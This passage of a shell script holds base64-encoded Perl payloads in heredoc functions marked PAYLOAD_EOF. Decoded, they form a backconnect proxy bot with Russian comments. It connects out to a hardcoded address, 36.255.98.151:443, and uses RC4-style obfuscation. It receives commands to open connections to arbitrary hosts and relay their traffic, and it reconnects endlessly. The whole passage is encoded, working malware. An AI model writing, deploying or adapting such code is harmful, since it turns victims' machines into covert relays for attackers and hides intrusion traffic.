ICRwb2NrZW1vbjMsIDgpIF49IHZlYygkcmM0LCAkcG9ja2Vtb244LCA4KTsKICAgICAgICB9Cgog
ICAgICAgIGxhc3Q7CiAgICB9CgogICAgIyDQktGC0L7RgNC+0LkgWE9SINGBINC60LvRjtGH0L7Q
vAogICAgZm9yIChteSAkaSA9IDA7ICRpIDwgJHN6OyAkaSsrKSB7CiAgICAgICAgdmVjKCRkYXRh
X3JlZiwgJHN0YXJ0ICsgJGksIDgpIF49IHZlYygka2V5X3JlZiwgJGkgJSAkbGVuZ3RoLCA4KTsK
ICAgIH0KCiAgICAkJGJ1ZmYwID0gJGRhdGFfcmVmOwp9CgojINCe0LHQtdGA0YLQutCwINC00LvR
jyDRgdC+0LLQvNC10YHRgtC40LzQvtGB0YLQuCDRgSDQvtGA0LjQs9C40L3QsNC70YzQvdGL0Lwg
0LLRi9C30L7QstC+0LwKc3ViIFJjNF9jcnlwdCB7CiAgICBSYzRfY3J5cHRfZmFzdChAXyk7Cn0K
CiMgPT09PT09PT09PT09PT09PT09PT09PSDQntCf0KLQmNCc0JjQl9CY0KDQntCS0JDQndCd0KvQ
mSBCQ0NOQ1QgPT09PT09PT09PT09PT09PT09PT09PQpzdWIgYmNjbmN0X29wdGltaXplZCB7CiAg
ICBteSAoJGhvc3QsICRwb3J0KSA9IEBfOwoKICAgIG15ICRyZW1haW5pbmcgPSAwOwogICAgbXkg
JHJlbWFpbmluZzQgPSAwOwogICAgbXkgJGRvbWFpbjsKICAgIG15ICRwb3J0MDsKICAgIG15IEBz
b2NrZXRhcnI7CiAgICBteSBAc29ja2V0YXJyYXk7CiAgICBteSAkYnVmZmVyID0gIlx4MDAiIHgg
MTAwOwogICAgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMFx4MDBceDAwIjsKICAgIG15ICRidWZmZXIw
ID0gIlx4MDAiIHggNjU1MzY7CiAgICBteSAkYnVmZmVyMSA9ICJceDAwIiB4IDY1NTM2OwogICAg
bXkgJGlzRXhpdCA9IDA7CiAgICBteSAkX3JldDAgPSAwOwogICAgbXkgJGVjeCA9IDA7CiAgICBt
eSAkZWF4ID0gMDsKICAgIG15ICRkYXRhID0gMDsKICAgIG15ICRfcmV0ID0gMDsKICAgIG15ICRl
YnggPSAwOwogICAgbXkgJGVkeCA9IDA7CiAgICBteSAkY291bnRlciA9IDA7CiAgICBteSAkY291
bnRjYyA9IDA7CiAgICBteSAkcmluID0gJyc7CiAgICBteSAkc3RyX3ZlYyA9ICJceDAwIjsKICAg
IG15ICRzdHJfd2VjID0gIlx4MDBceDAwIjsKCiAgICBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7
ICRpKyspIHsgJHNvY2tldGFycmF5WyRpXSA9IDA7IH0KCiAgICBteSAkcmVzcG9uY2UgPSAiXHgw
MFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgogICAg
IyDQodC+0LfQtNCw0L3QuNC1INC4INC90LDRgdGC0YDQvtC50LrQsCDQs9C70LDQstC90L7Qs9C+
INGB0L7QutC10YLQsAogICAgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RS
RUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpIG9yIHJldHVybiAwOwoKICAgIHNldHNvY2tvcHQo
JHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKICAgIHNldHNvY2tv
cHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fUkNWQlVGLCBwYWNrKCJJIiwgNjU1MzYp
KTsKICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCBw
YWNrKCJJIiwgNjU1MzYpKTsKCiAgICBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkJHBvcnQsIGlu
ZXRfYXRvbigkJGhvc3QpKTsKICAgIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRk
cikpIHsgZ290byBjbG9zZTA7IH0KCiAgICAjINCe0YLQv9GA0LDQstC60LAgaGFuZHNoYWtlCiAg
ICBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CiAgICBzdWJzdHIoJGJ1ZmZlciwg
NTAsIDIpID0gIlx4RkZceEZGIjsKICAgIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwg
c2NyaXB0IjsKCiAgICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDUwLCA1MCk7
CiAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoK
ICAgIG15ICRsYXN0X2FjdGl2aXR5ID0gdGltZSgpOwoKICAgIHdoaWxlKDEpIHsKICAgICAgICAj
INCf0YDQvtCy0LXRgNGP0LXQvCDRgtCw0LnQvNCw0YPRgiDQvdC10LDQutGC0LjQstC90L7RgdGC
0LgKICAgICAgICBpZiAodGltZSgpIC0gJGxhc3RfYWN0aXZpdHkgPiA2MCkgewogICAgICAgICAg
ICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKICAgICAgICAg
ICAgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVs
bCkpOwogICAgICAgICAgICAkbGFzdF9hY3Rpdml0eSA9IHRpbWUoKTsKICAgICAgICB9CgogICAg
ICAgICRjb3VudGNjID0gMDsKICAgICAgICAkcmluID0gJyc7CgogICAgICAgICMg0J/RgNC+0LLQ
tdGA0Y/QtdC8INCw0LrRgtC40LLQvdGL0LUg0YHQvtC60LXRgtGLICjRhtC10LvQtdCy0YvQtSDR
gdC10YDQstC10YDRiykKICAgICAgICBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsK
ICAgICAgICAgICAgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgewogICAgICAgICAgICAgICAg
dmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWyRpXSksIDEpID0gMTsKICAgICAgICAgICAgICAg
ICRjb3VudGNjKys7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgICMg0J7QsdGA0LDQ
sdC+0YLQutCwINC00LDQvdC90YvRhSDQvtGCINGG0LXQu9C10LLRi9GFINGB0LXRgNCy0LXRgNC+
0LIKICAgICAgICBpZiAoJGNvdW50Y2MgPiAwKSB7CiAgICAgICAgICAgIHVubGVzcyAoc2VsZWN0
KCRyaW4sIHVuZGVmLCB1bmRlZiwgMC4wMDEpKSB7IGdvdG8gbmV4dF9fOyB9CgogICAgICAgICAg
ICBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsKICAgICAgICAgICAgICAgIGlmICgo
JHNvY2tldGFycmF5WyRpXSA9PSAxKSAmJiB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGld
KSwgMSkpIHsKICAgICAgICAgICAgICAgICAgICAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclsk
aV0sICRidWZmZXIxLCA2NTUzMCwgMyk7CgogICAgICAgICAgICAgICAgICAgIHVubGVzcyAoJGRh
dGEpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHNvY2tldGFycmF5WyRpXSA9IDA7CiAgICAg
ICAgICAgICAgICAgICAgICAgIGNsb3NlKCRzb2NrZXRhcnJbJGldKTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkaTsKICAgICAgICAgICAgICAgICAgICAg
ICAgc3Vic3RyKCRyZXNwb25jZSwgMCwgMSkgPSAkc3RyX3ZlYzsKICAgICAgICAgICAgICAgICAg
ICAgICAgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAiOwoKICAgICAgICAgICAg
ICAgICAgICAgICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwog
ICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2Us
IDMsIDApOwogICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAg
ICAgIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkaTsKICAgICAgICAgICAgICAgICAgICAgICAgc3Vi
c3RyKCRidWZmZXIxLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAgICAgICAgICAgICAgICAgICBz
dWJzdHIoJGJ1ZmZlcjEsIDEsIDIpID0gcGFjaygnUycsICRkYXRhKTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjEsIDAsIDMpOwogICAg
ICAgICAgICAgICAgICAgICAgICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIxLCAz
LCAkZGF0YSk7CgogICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBd
LCAkYnVmZmVyMSwgMyArICRkYXRhKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAg
ICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIG5leHRfXzoKCiAgICAgICAg
IyDQn9GA0L7QstC10YDRj9C10Lwg0LTQsNC90L3Ri9C1INC+0YIg0LPQu9Cw0LLQvdC+0LPQviDR
gdC10YDQstC10YDQsAogICAgICAgIGlmICgkcmVtYWluaW5nNCAhPSA0KSB7CiAgICAgICAgICAg
ICRyaW4gPSAnJzsKICAgICAgICAgICAgdmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWzBdKSwg
MSkgPSAxOwoKICAgICAgICAgICAgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYs
IDAuMDEpOwoKICAgICAgICAgICAgbmV4dCBpZiAoJHJldCA8IDApOwoKICAgICAgICAgICAgaWYg
KCRyZXQgPT0gMCkgewogICAgICAgICAgICAgICAgJGNvdW50ZXIrKzsKCiAgICAgICAgICAgICAg
ICBpZiAoJGNvdW50ZXIgPT0gMTAwICogNjApIHsKICAgICAgICAgICAgICAgICAgICAkY291bnRl
ciA9IDA7CgogICAgICAgICAgICAgICAgICAgIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVybnVsbCwg
MCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwogICAgICAgICAgICAgICAgICAgIGxhc3QgaWYgKCRy
ZW1haW5pbmcgIT0gMCk7CiAgICAgICAgICAgICAgICAgICAgbGFzdCBpZiAoJHJlbWFpbmluZzQg
IT0gMCk7CgogICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1
ZmZlcm51bGwsIDAsIDMpOwogICAgICAgICAgICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJb
MF0sICRidWZmZXJudWxsLCBsZW5ndGgoJGJ1ZmZlcm51bGwpKTsKICAgICAgICAgICAgICAgIH0K
CiAgICAgICAgICAgICAgICBuZXh0OwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBp
ZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKICAgICAgICAgICAgaWYg
KCRlZHggPT0gMCkgewogICAgICAgICAgICAgICAgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkg
ZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7CiAgICAgICAg
ICAgICAgICAgICAgJGlzRXhpdCA9IDE7CiAgICAgICAgICAgICAgICAgICAgbGFzdDsKICAgICAg
ICAgICAgICAgIH0gZWxzaWYgKCRlYnggPCAyMDAgJiYgJGVieCA+IDAgJiYgJHNvY2tldGFycmF5
WyRlYnhdID09IDEpIHsKICAgICAgICAgICAgICAgICAgICAkc29ja2V0YXJyYXlbJGVieF0gPSAw
OwogICAgICAgICAgICAgICAgICAgIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoKICAgICAgICAg
ICAgICAgICAgICB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGVieDsKICAgICAgICAgICAgICAgICAg
ICBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAgICAgICAgICAgICAg
IHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCiAgICAgICAgICAgICAgICAg
ICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwogICAgICAgICAg
ICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CiAgICAg
ICAgICAgICAgICB9CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAkZWN4ID0g
JGVkeDsKICAgICAgICAgICAgICAgICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCiAgICAgICAg
ICAgICAgICAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRy
ZW1haW5pbmcgKyA0KTsKCiAgICAgICAgICAgICAgICB1bmxlc3MgKCRkYXRhKSB7IGxhc3Q7IH0K
CiAgICAgICAgICAgICAgICAkcmVtYWluaW5nICs9ICRkYXRhOwogICAgICAgICAgICAgICAgJGxh
c3RfYWN0aXZpdHkgPSB0aW1lKCk7CgogICAgICAgICAgICAgICAgaWYgKCRlZHggPT0gJHJlbWFp
bmluZykgewogICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1
ZmZlcjAsIDQsICRyZW1haW5pbmcpOwoKICAgICAgICAgICAgICAgICAgICBpZiAodmVjKHN1YnN0
cigkYnVmZmVyMCwgMCwgMSksIDAsIDgpID09IDApIHsKICAgICAgICAgICAgICAgICAgICAgICAg
c29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5
bmFtZSgndGNwJykpOwoKICAgICAgICAgICAgICAgICAgICAgICAgJF9yZXQwID0gMDsKICAgICAg
ICAgICAgICAgICAgICAgICAgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIHN1YnN0cigkcmVzcG9uY2UsIDAsIDEzKSA9ICJceDAwXHgwQVx4MDBceDA1XHgw
MVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwIjsKICAgICAgICAgICAgICAgICAgICAg
ICAgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7CiAgICAgICAgICAgICAgICAgICAgICAgIHN1
YnN0cigkcmVzcG9uY2UsIDAsIDEpID0gJHN0cl92ZWM7CgogICAgICAgICAgICAgICAgICAgICAg
ICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwg
MSk7CiAgICAgICAgICAgICAgICAgICAgICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwg
U09MX1NPQ0tFVCwgU09fUkNWQlVGLCBwYWNrKCJJIiwgNjU1MzYpKTsKICAgICAgICAgICAgICAg
ICAgICAgICAgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19TTkRC
VUYsIHBhY2soIkkiLCA2NTUzNikpOwoKICAgICAgICAgICAgICAgICAgICAgICAgZmNudGwoJHNv
Y2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwg
MCkgfCBPX05PTkJMT0NLKTsKCiAgICAgICAgICAgICAgICAgICAgICAgICMg0J7Qv9GA0LXQtNC1
0LvQtdC90LjQtSDRgtC40L/QsCDQsNC00YDQtdGB0LAgKNC+0YDQuNCz0LjQvdCw0LvRjNC90LDR
jyDQu9C+0LPQuNC60LApCiAgICAgICAgICAgICAgICAgICAgICAgIGlmICh2ZWMoc3Vic3RyKCRi
dWZmZXIwLCA3LCAxKSwgMCwgOCkgPT0gMykgewogICAgICAgICAgICAgICAgICAgICAgICAgICAg
JGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKHN1YnN0cigkYnVmZmVyMCwgOCwgMSks
IDAsIDgpKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwb3J0MCA9IHZlYyhzdWJzdHIo
JGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAwLCAxKSAu
CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc3Vic3RyKCRidWZmZXIw
LCA5ICsgdmVjKHN1YnN0cigkYnVmZmVyMCwgOCwgMSksIDAsIDgpICsgMSwgMSksIDAsIDE2KTsK
ICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywg
MSksIDAsIDgpID09IDEpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRkb21haW4gPSBz
cHJpbnRmKCIlZC4lZC4lZC4lZCIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmVj
KHN1YnN0cigkYnVmZmVyMCwgOCArIDAsIDEpLCAwLCA4KSwKICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSksIDAsIDgpLAogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgIHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDggKyAyLCAxKSwg
MCwgOCksCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmVjKHN1YnN0cigkYnVmZmVy
MCwgOCArIDMsIDEpLCAwLCA4KSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcG9ydDAg
PSB2ZWMoc3Vic3RyKCRidWZmZXIwLCAxMiArIDAsIDEpIC4KICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMSwgMSksIDAsIDE2KTsK
ICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAg
ICAgIGdvdG8gY2xvc2VfOwogICAgICAgICAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAg
ICAgICAgICAgICAjINCj0YHRgtCw0L3QvtCy0LrQsCDRgdC+0LXQtNC40L3QtdC90LjRjyDRgSDR
htC10LvQtdCy0YvQvCDRgdC10YDQstC10YDQvtC8CiAgICAgICAgICAgICAgICAgICAgICAgIGV2
YWwgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4o
JHBvcnQwLCBpbmV0X2F0b24oJGRvbWFpbikpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAg
Y29ubmVjdCgkc29ja2V0YXJyWyRlYnhdLCAkcGFkZHIpOwoKICAgICAgICAgICAgICAgICAgICAg
ICAgICAgIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAx
OwogICAgICAgICAgICAgICAgICAgICAgICAgICAgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4s
IHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQoKICAgICAgICAgICAgICAgICAgICAgICAgICAg
IGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0s
IEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBz
dWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsKICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICRfcmV0MCA9IDE7CiAgICAgICAgICAgICAgICAgICAgICAgIH07CgogICAgICAgICAgICAg
ICAgICAgICAgICBjbG9zZV86CgogICAgICAgICAgICAgICAgICAgICAgICBSYzRfY3J5cHQoXCR4
b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CiAgICAgICAgICAgICAgICAgICAgICAgIFJj
NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CiAgICAgICAgICAgICAg
ICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgbGVuZ3RoKCRyZXNw
b25jZSkpOwoKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRfcmV0MCA9PSAwKSB7CiAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwogICAgICAgICAg
ICAgICAgICAgICAgICAgICAgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgogICAgICAgICAgICAg
ICAgICAgICAgICAgICAgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7CiAgICAgICAgICAgICAg
ICAgICAgICAgICAgICBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi
OwoKICAgICAgICAgICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBc
JHJlc3BvbmNlLCAwLCAzKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHN5c3dyaXRlKCRz
b2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0K
ICAgICAgICAgICAgICAgICAgICB9IGVsc2lmICgkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewog
ICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWyRlYnhdLCAkYnVmZmVy
MCwgJHJlbWFpbmluZywgNCk7CiAgICAgICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAg
ICAgICAkcmVtYWluaW5nID0gMDsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQoKICAg
ICAgICAgICAgJHJlbWFpbmluZzQgPSAwOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRl
YXggPSA0OwogICAgICAgICAgICAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0OwoKICAgICAgICAg
ICAgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWlu
aW5nNCk7CgogICAgICAgICAgICB1bmxlc3MgKCRkYXRhKSB7IGxhc3Q7IH0KCiAgICAgICAgICAg
ICRyZW1haW5pbmc0ICs9ICRkYXRhOwogICAgICAgICAgICAkbGFzdF9hY3Rpdml0eSA9IHRpbWUo
KTsKICAgICAgICAgICAgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAi
OwogICAgICAgICAgICAkY291bnRlciA9IDA7CgogICAgICAgICAgICBpZiAoJHJlbWFpbmluZzQg
PT0gNCkgewogICAgICAgICAgICAgICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVy
MCwgMCwgNCk7CgogICAgICAgICAgICAgICAgJGVieCA9IHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDEs
IDEpLCAwLCA4KTsKICAgICAgICAgICAgICAgICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1
ZmZlcjAsIDIsIDIpKTsKCiAgICAgICAgICAgICAgICAkX3JldCA9IDE7CiAgICAgICAgICAgIH0K
ICAgICAgICB9CiAgICB9CgogICAgY2xvc2UwOgoKICAgIGNsb3NlKCRzb2NrZXRhcnJbMF0pOwoK
ICAgIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgewogICAgICAgIGlmICgkc29ja2V0
YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CiAgICB9CgogICAgaWYg
KCRpc0V4aXQgPT0gMSkgeyBleGl0OyB9CgogICAgcmV0dXJuICRfcmV0Owp9CgojID09PT09PT09
PT09PT09PT09PT09PT0g0JPQm9CQ0JLQndCr0Jkg0KbQmNCa0Jsg0KEg0K3QmtCh0J/QntCd0JXQ
ndCm0JjQkNCb0KzQndCe0Jkg0JfQkNCU0JXQoNCW0JrQntCZID09PT09PT09PT09PT09PT09PT09
PT0KbXkgJHJldHJ5X2RlbGF5ID0gMTsKbXkgJG1heF9yZXRyeV9kZWxheSA9IDE4MDsKCndoaWxl
KDEpIHsKICAgIGlmIChiY2NuY3Rfb3B0aW1pemVkKFwkaG9zdCwgXCRwb3J0KSkgewogICAgICAg
ICRyZXRyeV9kZWxheSA9IDE7ICAjINCh0LHRgNC+0YEg0LfQsNC00LXRgNC20LrQuCDQv9GA0Lgg
0YPRgdC/0LXRhdC1CiAgICAgICAgc2xlZXAgMTsKICAgIH0gZWxzZSB7CiAgICAgICAgc2xlZXAg
JHJldHJ5X2RlbGF5OwogICAgICAgICRyZXRyeV9kZWxheSA9ICRyZXRyeV9kZWxheSAqIDI7CiAg
ICAgICAgJHJldHJ5X2RlbGF5ID0gJG1heF9yZXRyeV9kZWxheSBpZiAkcmV0cnlfZGVsYXkgPiAk
bWF4X3JldHJ5X2RlbGF5OwogICAgfQp9Cg==
PAYLOAD_EOF
}
bin_21() {
cat << 'PAYLOAD_EOF'
IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0
Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZf
R0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNTEnOwpt
eSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7CmZvciAobXkgJGkgPSAw
OyAkaSA8IDUwOyAkaSsrKSB7IHZlYygkeG9yZGF0YSwgJGksIDgpID0gaW50KHJhbmQoMjU1KSk7
IH0KCiMgPT09PT09PT09PT09PT09PT09PT09PSDQntCf0KLQmNCc0JjQl9CY0KDQntCS0JDQndCd
0KvQmSBSQzQgPT09PT09PT09PT09PT09PT09PT09PQpzdWIgUmM0X2NyeXB0X2Zhc3QgewogICAg
bXkgKCRwYXNzdywgJGxlbmd0aCwgJGJ1ZmYwLCAkc3RhcnQsICRzeikgPSBAXzsKCiAgICAjINCR
0YvRgdGC0YDRi9C5INC00L7RgdGC0YPQvyDQuiDQtNCw0L3QvdGL0LwKICAgIG15ICRkYXRhX3Jl
ZiA9ICQkYnVmZjA7CiAgICBteSAka2V5X3JlZiA9ICQkcGFzc3c7CgogICAgIyDQn9C10YDQstGL
0LkgWE9SINGBINC60LvRjtGH0L7QvAogICAgZm9yIChteSAkaSA9IDA7ICRpIDwgJHN6OyAkaSsr
KSB7CiAgICAgICAgdmVjKCRkYXRhX3JlZiwgJHN0YXJ0ICsgJGksIDgpIF49IHZlYygka2V5X3Jl
ZiwgJGkgJSAkbGVuZ3RoLCA4KTsKICAgIH0KCiAgICAjINCY0L3QuNGG0LjQsNC70LjQt9Cw0YbQ
uNGPIFJDNCAo0YLQvtGH0L3QsNGPINC60L7Qv9C40Y8g0L7RgNC40LPQuNC90LDQu9GM0L3QvtCz
0L4g0LDQu9Cz0L7RgNC40YLQvNCwKQogICAgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKICAgIHZl
YygkcmM0LCAkXywgOCkgPSAkXyBmb3IgMC4uMjU1OwoKICAgIG15ICRwb2NrZW1vbjAgPSAwOwog
ICAgbXkgJHBvY2tlbW9uMSA9IDA7CiAgICBteSAkcG9ja2Vtb24yID0gMDsKICAgIG15ICRwb2Nr
ZW1vbjMgPSAkbGVuZ3RoOwogICAgbXkgJGdzID0gMDsKCiAgICB3aGlsZSgxKSB7CiAgICAgICAg
aWYgKCRncyA9PSAwKSB7CiAgICAgICAgICAgICRwb2NrZW1vbjIgPSAwOwogICAgICAgICAgICAk
cG9ja2Vtb24zID0gJGxlbmd0aDsKICAgICAgICB9CgogICAgICAgIGlmICgkZ3MgIT0gMCkgewog
ICAgICAgICAgICAkZ3MgPSAwOwogICAgICAgICAgICAkcG9ja2Vtb24yKys7CiAgICAgICAgICAg
IGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CiAgICAgICAgfQoKICAgICAgICBteSAk
cG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwogICAgICAgICRwb2NrZW1vbjEg
Kz0gdmVjKCRrZXlfcmVmLCAkcG9ja2Vtb24yLCA4KTsKICAgICAgICAkcG9ja2Vtb24xICY9IDI1
